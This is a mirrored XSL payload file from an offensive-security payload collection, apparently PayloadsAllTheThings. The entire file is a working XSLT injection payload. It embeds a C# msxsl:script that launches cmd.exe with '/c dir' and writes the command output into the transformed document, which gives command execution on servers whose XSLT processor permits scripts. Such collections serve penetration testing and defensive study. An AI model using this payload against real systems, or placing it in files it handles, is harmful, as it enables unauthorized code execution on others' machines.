mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-22 04:16:11 +00:00
26 lines
803 B
XML
26 lines
803 B
XML
<?xml version="1.0" encoding="UTF-8"?>
|
|
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
|
|
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
|
|
xmlns:user="urn:my-scripts">
|
|
|
|
<msxsl:script language = "C#" implements-prefix = "user">
|
|
<![CDATA[
|
|
public string execute(){
|
|
System.Diagnostics.Process proc = new System.Diagnostics.Process();
|
|
proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
|
|
proc.StartInfo.RedirectStandardOutput = true;
|
|
proc.StartInfo.UseShellExecute = false;
|
|
proc.StartInfo.Arguments = "/c dir";
|
|
proc.Start();
|
|
proc.WaitForExit();
|
|
return proc.StandardOutput.ReadToEnd();
|
|
}
|
|
]]>
|
|
</msxsl:script>
|
|
|
|
<xsl:template match="/fruits">
|
|
--- BEGIN COMMAND OUTPUT ---
|
|
<xsl:value-of select="user:execute()"/>
|
|
--- END COMMAND OUTPUT ---
|
|
</xsl:template>
|
|
</xsl:stylesheet> |